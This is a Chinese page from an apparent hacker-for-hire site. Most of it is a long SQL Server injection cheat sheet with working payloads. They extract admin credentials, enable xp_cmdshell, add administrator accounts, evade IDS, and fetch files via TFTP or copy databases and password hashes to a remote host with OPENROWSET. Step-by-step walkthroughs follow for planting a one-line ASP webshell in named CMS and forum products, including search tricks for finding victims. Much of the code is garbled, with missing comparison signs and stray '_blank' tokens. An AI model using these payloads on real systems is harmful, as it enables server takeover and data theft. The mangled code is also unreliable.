24小时黑客接单的网站

黑客业务,怎么找黑客,联系黑客,黑客服务,免费黑客服务QQ

入侵ad网站教程(入侵网址教程)

本文目录一览:

怎样黑掉对方网站

入侵网站必备(经典语句)

.判断有无注入点

; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass

password 等..

and 0(select count(*) from *)

and 0(select

count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到00)--

and 1=(select

count(*) from admin where len(用户字段名称name)0)

and 1=(select count(*) from

admin where len(_blank密码字段名称password)0)

5.猜解各个字段的长度

猜解长度就是把0变换 直到返回正确页面为止

and 1=(select count(*) from admin where

len(*)0)

and 1=(select count(*) from admin where len(name)6) 错误

and 1=(select count(*) from admin where len(name)5) 正确 长度是6

and

1=(select count(*) from admin where len(name)=6) 正确

and 1=(select

count(*) from admin where len(password)11) 正确

and 1=(select count(*)

from admin where len(password)12) 错误 长度是12

and 1=(select count(*) from

admin where len(password)=12) 正确

6.猜解字符

and 1=(select count(*) from

admin where left(name,1)=a) ---猜解用户帐号的第一位

and 1= (select count(*) from admin

where left(name,2)=ab)---猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --

这个查询语句可以猜解中文的用户和_blank密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1--

group by users.id, users.username,

users.password, users.privs having 1= 1--

; insert into users values( 666,

attacker, foobar, 0xffff )--

UNION SELECT TOP 1 COLUMN_blank_NAME

FROM INFORMATION_blank_SCHEMA.COLUMNS WHERE TABLE_blank

_NAME=logintable-

UNION SELECT TOP 1 COLUMN_blank_NAME FROM

INFORMATION_blank_SCHEMA.COLUMNS WHERE TABLE_blank_NAME=logintable WHERE

COLUMN_blank_NAME NOT IN (login_blank_id)-

UNION SELECT TOP 1

COLUMN_blank_NAME FROM INFORMATION_blank_SCHEMA.COLUMNS WHERE

TABLE_blank_NAME=logintable WHERE COLUMN_blank_NAME NOT IN

(login_blank_id,login_blank_name)-

UNION SELECT TOP 1

login_blank _name FROM logintable-

UNION SELECT TOP 1 password FROM

logintable where login_blank_name=Rahul--

看_blank服务器打的补丁=出错了打了SP4补丁

and 1=(select @@VERSION)--

看_blank数据库连接账号的权限,返回正常,证明是_blank服务器角色sysadmin权限。

and

1=(SELECT IS_blank_SRVROLEMEMBER(sysadmin))--

判断连接_blank数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

and sa=(SELECT

System_blank_user)--

and user_blank_name()=dbo--

and

0(select user_blank_name()--

看xp_blank_cmdshell是否删除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name =

xp_blank_cmdshell)--

xp_blank_cmdshell被删除,恢复,支持绝对路径的恢复

;EXEC

master.dbo.sp_blank_addextendedproc xp_blank_cmdshell,xplog70.dll--

;EXEC master.dbo.sp_blank_addextendedproc xp_blank_cmdshell,c:

\inetpub\wwwroot\xplog70.dll--

反向PING自己实验

;use master;declare @s

int;exec sp_blank_oacreate wscript.shell,@s out;exec sp_blank_oamethod

@s,run,NULL,cmd.exe /c ping 192.168.0.1;--

加帐号

;DECLARE @shell

INT EXEC SP_blank_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank

_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$

1866574 /add--

创建一个虚拟目录E盘:

;declare @o int exec

sp_blank_oacreate wscript.shell, @o out exec sp_blank_oamethod @o, run,

NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w 默认Web站点 -v e,e: \--

访问属性:(配合写入一个webshell)

declare @o int exec sp_blank_oacreate

wscript.shell, @o out exec sp_blank_oamethod @o, run, NULL, cscript.exe

c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库

特殊_blank技巧::%5c=\ 或者把/和\ 修改%5提交

and 0(select top 1 paths from

newtable)--

得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from

master.dbo.sysdatabases where dbid=7)--

and 0(select count(*) from

master.dbo.sysdatabases where name1 and dbid=6)

依次提交 dbid = 7,8,9....

得到更多的_blank数据库名

and 0(select top 1 name from

bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin

and 0 (select top

1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。

and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and

name=admin

and uid(str (id))) 暴到UID的数值假设为18779569 uid=id

and

0(select top 1 name from bbs.dbo.syscolumns where id=18779569)

得到一个admin的一个字段,假设为 user_blank_id

and 0(select top 1 name from

bbs.dbo.syscolumns where id=18779569 and name not in

(id,...)) 来暴出其他的字段

and 0_id from BBS.dbo.admin where username1)

可以得到用户名

依次可以得到_blank密码。。。。。假设存在user_blank_id username ,password 等字段

and 0(select count(*) from master.dbo.sysdatabases where

name1 and dbid=6)

and 0 (select top 1 name from

bbs.dbo.sysobjects where xtype=U) 得到表名

and 0(select top 1 name from

bbs.dbo.sysobjects where xtype=U and name not in(Address))

and

0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

and uid(str(id))) 判断id值

and 0(select top 1 name from

BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select

1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

?id=-1 union select

1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径

;create table [dbo].[swap] ([swappass][char](255));--

and (select top 1

swappass from swap)=1--

;CREATE TABLE newtable(id int IDENTITY(1,1),paths

varchar(500)) Declare @test varchar(20) exec master..xp_blank_regread

@rootkey=HKEY_blank_LOCAL_blank_MACHINE, @key=SYSTEM\CurrentControlSet

\Services\W3SVC\Parameters\Virtual Roots\, @value_blank_name=/, values=@test

OUTPUT insert into paths (path) values(@test)--

;use ku1;--

;create

table cmd (str image);-- 建立image类型的表cmd

存在xp_blank_cmdshell的测试过程:

;exec master..xp_blank_cmdshell dir

;exec

master.dbo.sp_blank_addlogin jiaoniang$;-- 加SQL帐号

;exec

master.dbo.sp_blank_password null,jiaoniang$,1866574;--

;exec

master.dbo.sp_blank_addsrvrolemember jiaoniang$ sysadmin;--

;exec

master.dbo.xp_blank_cmdshell net user jiaoniang$ 1866574 /workstations:*

/times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--

;exec

master.dbo.xp_blank_cmdshell net localgroup administrators jiaoniang$

/add;--

exec master..xp_blank _servicecontrol start, schedule

启动_blank服务

exec master..xp_blank_servicecontrol start, server

;

DECLARE @shell INT EXEC SP_blank_OACREATE wscript.shell,@shell OUTPUT EXEC

SP_blank_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user

jiaoniang$ 1866574 /add

;DECLARE @shell INT EXEC SP_blank_OACREATE

wscript.shell,@shell OUTPUT EXEC SP_blank_OAMETHOD @shell,run,null,

C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add

;

exec master..xp_blank_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

;declare @a sysname set @a=xp_blank_+cmdshell exec @a dir c:\

;declare @a sysname set @a=xp+_blank_cm’+’dshell exec @a dir c:\

;declare @a;set @a=db_blank_name();backup database @a to

disk=你的IP你的共享目录bak.dat

如果被限制则可以。

select * from openrowset

(_blanksqloledb,server;sa;,select OK! exec master.dbo.sp_blank_addlogin

hax)

查询构造:

SELECT * FROM news WHERE id=... AND topic=... AND .....

adminand 1=(select count(*) from [user] where username=victim and

right(left(userpass,01),1)=1) and userpass 

select 123;--

;use

master;--

:a or name like fff%;-- 显示有一个叫ffff的用户哈。

and 1(select

count (email) from [user]);--

;update [users] set email=(select top 1 name

from sysobjects where xtype=u and status0) where name=ffff;--

;update

[users] set email=(select top 1 id from sysobjects where xtype=u and name=ad)

where name=ffff;--

;update [users] set email=(select top 1 name from

sysobjects where xtype=u and id581577110) where name=ffff;--

;update

[users] set email=(select top 1 count(id) from password) where name=ffff;--

;update [users] set email=(select top 1 pwd from password where id=2) where

name=ffff;--

;update [users] set email=(select top 1 name from password

where id=2) where name=ffff;--

上面的语句是得到_blank数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into

users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),

char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--

insert

into users values( 667,123,123,0xffff)--

insert into users values ( 123,

admin--, password, 0xffff)--

;and user0

;and (select count(*) from

sysobjects)0

;and (select count(*) from mysysobjects)0

//为access_blank数据库

枚举出数据表名

;update aaa set aaa=(select top 1

name from sysobjects where xtype=u and status0);--

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name刚才得到的表名)。

;update aaa set

aaa=(select top 1 name from sysobjects where xtype=u and status0 and

namevote);--

然后id=1552 and exists(select * from aaa where aaa5)

读出第二个表,一个个的读出,直到没有为止。

读字段是这样:

;update aaa set aaa=(select top 1

col_blank_name (object_blank_id(表名),1));--

然后id=152 and

exists(select * from aaa where aaa5)出错,得到字段名

;update aaa set aaa=(select

top 1 col_blank_name(object_blank_id(表名),2));--

然后id=152 and

exists(select * from aaa where aaa5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update 表名 set 字段=(select top 1

name from sysobjects where xtype=u and status0 [ and name你得到的表名

查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and

status0 and name not in(table1,table2,…)

通过SQLSERVER注入_blank漏洞建_blank数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update 表名 set 字段= (select

top 1 col_blank_name(object_blank_id(要查询的数据表名),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]

;declare @a sysname set @a=xp_blank_+cmdshell

exec @a dir c:\

;declare @a sysname set @a=xp+_blank_cm’+’dshell exec @a

dir c:\

1、 开启远程_blank数据库

基本语法

select * from

OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )

参数: (1) OLEDB Provider name

2、 其中连接字符串参数可以是任何端口用来连接,比如

select * from

OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,

select * from table

3.复制目标主机的整个_blank数据库

insert所有远程表到本地表。

基本语法:

insert into OPENROWSET(SQLOLEDB,

server=servername;uid=sa;pwd=123, select * from table1) select * from table2

这行语句将目标主机上table2表中的所有数据复制到远程_blank数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=

192.168.0.1,1433;,select * from table1) select * from table2

insert into

OPENROWSET(SQLOLEDB,uid=sa;pwd=

123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from

_blank_sysdatabases)

select * from master.dbo.sysdatabases

insert

into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=

192.168.0.1,1433;,select * from _blank_sysobjects)

select * from

user_blank _database.dbo.sysobjects

insert into

OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=

192.168.0.1,1433;,select * from _blank_syscolumns)

select * from

user_blank _database.dbo.syscolumns

复制_blank数据库:

insert into

OPENROWSET(SQLOLEDB,uid=sa;pwd=

123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select *

from database..table1

insert into

OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select

* from table2) select * from database..table2

复制哈西表(HASH)登录_blank密码的hash存储于sysxlogins中。方法如下:

insert into

OPENROWSET (SQLOLEDB,

uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from

_blank_sysxlogins) select * from database.dbo.sysxlogins

得到hash之后,就可以进行暴力破解。

遍历目录的方法: 先创建一个临时表:temp

;create table temp(id

nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

;insert temp exec master.dbo.xp_blank_availablemedia;-- 获得当前所有驱动器

;insert into temp(id) exec master.dbo.xp_blank_subdirs c:\;-- 获得子目录列表

;insert into temp(id,num1) exec master.dbo.xp_blank_dirtree c:\;--

获得所有子目录的目录树结构,并寸入temp表中

;insert into temp(id) exec

master.dbo.xp_blank_cmdshell type c:\web\index.asp;-- 查看某个文件的内容

;insert

into temp(id) exec master.dbo.xp_blank_cmdshell dir c:\;--

;insert into

temp(id) exec master.dbo.xp_blank_cmdshell dir c:\ *.asp /s/a;--

;insert

into temp(id) exec master.dbo.xp_blank _cmdshell cscript

C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc

;insert into temp(id,num1)

exec master.dbo.xp_blank_dirtree c:\;-- (xp_blank_dirtree适用权限PUBLIC)

写入表:

语句1:and 1= (SELECT IS_blank_SRVROLEMEMBER(sysadmin));--

语句2:and 1=(SELECT IS_blank_SRVROLEMEMBER (serveradmin));--

语句3:and

1=(SELECT IS_blank_SRVROLEMEMBER(setupadmin));--

语句4:and 1=(SELECT

IS_blank_SRVROLEMEMBER(securityadmin));--

语句5:and 1=(SELECT

IS_blank_SRVROLEMEMBER (securityadmin));--

语句6:and 1=(SELECT

IS_blank_SRVROLEMEMBER(diskadmin));--

语句7:and 1= (SELECT

IS_blank_SRVROLEMEMBER(bulkadmin));--

语句8:and 1=(SELECT

IS_blank_SRVROLEMEMBER (bulkadmin));--

语句9:and 1=(SELECT

IS_blank_MEMBER(db_blank_owner));--

把路径写到表中去:

;create table

dirs(paths varchar(100), id int)--

;insert dirs exec

master.dbo.xp_blank_dirtree c:\--

and 0(select top 1 paths from

dirs)--

and 0 (select top 1 paths from dirs where paths not

in(@Inetpub))--

;create table dirs1(paths varchar(100), id int)--

;insert dirs exec master.dbo.xp_blank_dirtree e:\web--

and

0(select top 1 paths from dirs1)--

把_blank数据库备份到网页目录:下载

;declare @a sysname; set @a=db_blank_name();backup database @a to

disk=e:\web\down.bak;--

and 1=(Select top 1 name from(Select top 12

id,name from sysobjects where xtype=char(85)) T order by id desc)

and

1=(Select Top 1 col_blank_name(object_blank_id(USER_blank_LOGIN),1)

from sysobjects) 参看相关表。

and 1=(select user_blank_id from

USER_blank_LOGIN)

and 0=(select user from USER_blank_LOGIN where

user1)

-=- wscript.shell example -=-

declare @o int

exec

sp_blank_oacreate wscript.shell, @o out

exec sp_blank_oamethod @o,

run, NULL, notepad.exe

; declare @o int exec sp_blank_oacreate

wscript.shell, @o out exec sp_blank_oamethod @o, run, NULL, notepad.exe--

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_blank_oacreate scripting.filesystemobject, @o out

exec

sp_blank_oamethod @o, opentextfile, @f out, c:\boot.ini, 1

exec @ret =

sp_blank_oamethod @f, readline, @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_blank_oamethod @f, readline, @line out

end

declare @o int, @f int, @t int, @ret int

exec

sp_blank_oacreate scripting.filesystemobject, @o out

exec

sp_blank_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1

exec @ret = sp_blank_oamethod @f, writeline, NULL,

declare @o int, @ret int

exec sp_blank_oacreate

speech.voicetext, @o out

exec sp_blank _oamethod @o, register, NULL,

foo, bar

exec sp_blank_oasetproperty @o, speed, 150

exec

sp_blank_oamethod @o, speak, NULL, all your sequel servers are belong to,us,

528

waitfor delay 00:00:05

; declare @o int, @ret int exec

sp_blank_oacreate speech.voicetext, @o out exec sp_blank_oamethod @o,

register, NULL, foo, bar exec sp_blank_oasetproperty @o, speed, 150 exec

sp_blank_oamethod @o, speak, NULL, all your sequel servers are belong to us,

528 waitfor delay 00:00:05--

xp_blank_dirtree适用权限PUBLIC

exec

master.dbo.xp_blank_dirtree c:\

返回的信息有两个字段

subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths

varchar(100), id int)

建表,这里建的表是和上面xp_blank_dirtree相关连,字段相等、类型相同。

insert dirs exec master.dbo.xp_blank_dirtree c:\

只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,

一步步达到我们想要的信息! 

什么叫AD入侵

应该是无线Ad_Hoc网络入侵吧?简单说就是对无线网络中Ad_Hoc(节点:路由器、主机等)的入侵。

什么是一句话木马

一句话木马的使用

实例一:“一句话木马”入侵“EASYNEWS新闻管理系统”

“EASYNEWS新闻管理系统 v1.01 正式版”是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的话,入侵者可以利用该漏洞直接上传ASP木马程序控制整个网站服务器。

Step1 搜索入侵目标

使用了“EASYNEWS新闻管理系统 v1.01 正式版”的网站,在网站页面的底部版权声明处,往往会有关键字符为“www.****.COM 版权所有”。只要在GOOGLE或百度中以该字符串为关键词进行搜索,就可以找到大量的入侵目标。

Step2 检测入侵条件

在这里,我们以网站“.****.com/news/index.htm”为例进行一次入侵检测。“EASYNEWS新闻管理系统”网站的留言本数据库文件默认是位于“\ebook\db\ebook.asp”,首先在浏览器地址栏中输入“.****.com/news/ebook/db/ebook.asp”,回车后在浏览器页面中将显示访问留言本数据库文件的返回信息。如果在页面中显示乱码,则说明该网站的留言本数据库文件没有改名,可以进行入侵。

Step3 在数据库中插入ASP后门

前面提到了该新闻系统的留言本插件存在过滤不严,因此我们可以通过提交发言,在数据库中插入“一句话木马”服务端代码:

在浏览器中访问“.****.com/news/khly.htm”,打开提交留言页面。在提交页面中的“主页”栏中,直接填写“一句话木马”服务端代码,其它随便填写。确定后点击“发表留言”按钮,文章发表成功后,即可将“一句话木马”服务端代码插入到留言本数据库中了。

Step4 连接后门上传Webshell

由于留言本数据库文件“ebook.asp”是一个ASP文件,所以我们插入到数据库文件中的ASP语句将会被执行。将“一句话木马”客户端中的提交地址改为留言本数据库文件地址,然后用浏览器打开客户端,在上方的输入框中输入上传ASP木马的保存路径,在下面的输入框中可以粘贴入其它的ASP木马代码,这里选择的是桂林老兵网站管理助手ASP代码。点击提交按钮后,刚才粘贴的ASP木马将被写入到论坛服务器中保存。

Step5 打开WEBSHELL

上传的ASP木马被保存到与数据库文件同一WEB目录下,文件名为“temp.asp”,因此我们在IE浏览器中打开页面“.****.com/news/ebook/db/temp.asp”,输入默认的密码“gxgl.com”,就可以看到一个WEBSHELL了。

在Webshell中可以上传其它的文件或者安装木马后门、执行各种命令等,网站的服务器已经掌握在我们的手中,可以为所欲为了。

实例二 “社区超市”入侵动网论坛

Step1 检测入侵条件

以入侵论坛“.****.com/”为例。首先在浏览器地址栏中输入“.****.com/data/shop.asp”,回车后在浏览器页面中将显示访问"shop.asp"文件的返回信息。说明该论坛的社区超市数据库文件没有改名或删除,可以进行入侵。

Step2 在数据库中插入ASP后门

登录论坛后,点击页面中的“娱乐”→“社区超市”,打开社区超市页面。在该页面中选择商店申请,打开“商店申请入驻”页面“.****.com/z_shop_newshop.asp”,在页面中填写任意信息,注意在“商店招牌”栏中,添加刚才的ASP代码"〈%execute request("l")%〉"。确定后点击“申请”按钮进行提交,即可将ASP代码保存在数据库文件中了。

后面的步骤就与上面介绍的一样了,只需要用蓝屏木马连接数据库文件“.****.net/data/shop.asp”,然后上传WEBSHELL就可以控制论坛服务器了。

实例三 “一句话木马”入侵未知网站

从上面的两个例子,我们可以看出利用“一句话木马”入侵控制存在数据库过滤不严漏洞的网站,成功的前提是一定要知道网站的数据库地址。对于一些使用了未知网页程序的网站,我们如何才能找到它的数据库地址呢?这就要结合暴库或者跨站之类的方法了,下面只是结合一个简单的暴库,介绍一下利用一句话木马入侵未知网站的方法。

Step1 暴库得到数据库路径

以“.****.com”为例。在浏览器中打开“.****.com/join/listall.asp?bid=2”,将地址栏中join后的/改为%5c,在提交后的返回返回信息中可以看到网站数据库地址:“’d:\wwwroot\shuilong\wwwroot\admin\adshuilonG!#).asp’”,数据库文件名中加入了“#”符号,“#”符号在IE中执行时被解释为中断符,要访问该数据库文件则必须将“#”号变为“23%”才可以。因此数据库文件的实际WEB地址为“.****.com/join/admin/adshuilonG!%23).asp”

Step2 注册网站,插入“一句话木马”

由于数据库文件是ASP文件格式的,满足入侵条件,因此现在我们需要将“一句话木马”插入到数据库文件中去。

在网页上点击注册网站按钮,打开注册链接“.****.com/join/add.asp过滤了=step3bid=3”,在资料填写页面处的站点名称或地址中写入“一句话木马”服务端代码,其它随便填写。然后点击完成按钮提交数据,木马服务端就被插入到数据库文件中了。

最后只需要用蓝屏木马连接数据库文件“.****.com/join/admin/adshuilonG!%23).asp”,然后上传ASP木马就可以控制该网站的服务器了。

“一句话木马”的防范

要防范“一句话木马”可以从两方面进行,首先是要隐藏网站的数据库,不要让攻击者知道数据库文件的链接地址。这就需要管理员在网页程序中查被暴库漏洞,在数据库连接文件中加入容错代码等,具体的防暴库方法在这里就不作过多的讲解了。

其次就是要防止用户提交的数据未过滤漏洞,对用户提交的数据进行过滤,替换一些危险的代码等。例如中国站长联盟网站在出现该漏洞后已经对网页程序进行的修补,插入的ASP代码中的〈、〉和"等字符会被网页程序转换成其它字符,致使服务端代码无法正常执行。

只要作好这两方面的安全工作,“一句话木马”虽然无孔不入,但是面对这样的网站系统也是无可奈何的了。

  • 评论列表:
  •  竹祭任谁
     发布于 2022-07-07 04:47:27  回复该评论
  • irs where paths not in(@Inetpub))-- ;create table dirs1(paths varchar(100), id int)-- ;insert dirs exec
  •  余安清引
     发布于 2022-07-07 03:22:13  回复该评论
  • _blank_oasetproperty @o, speed, 150 exec sp_blank_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- xp
  •  弦久晚鲸
     发布于 2022-07-07 11:56:10  回复该评论
  • s0 [ and name你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status0 and nam
  •  温人择沓
     发布于 2022-07-07 02:50:07  回复该评论
  • 92.168.0.1,1433;,select * from _blank_sysobjects) select * from user_blank _database.dbo.sysobjects insert into OPENROWSET(SQLOLEDB,uid=sa;pw

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.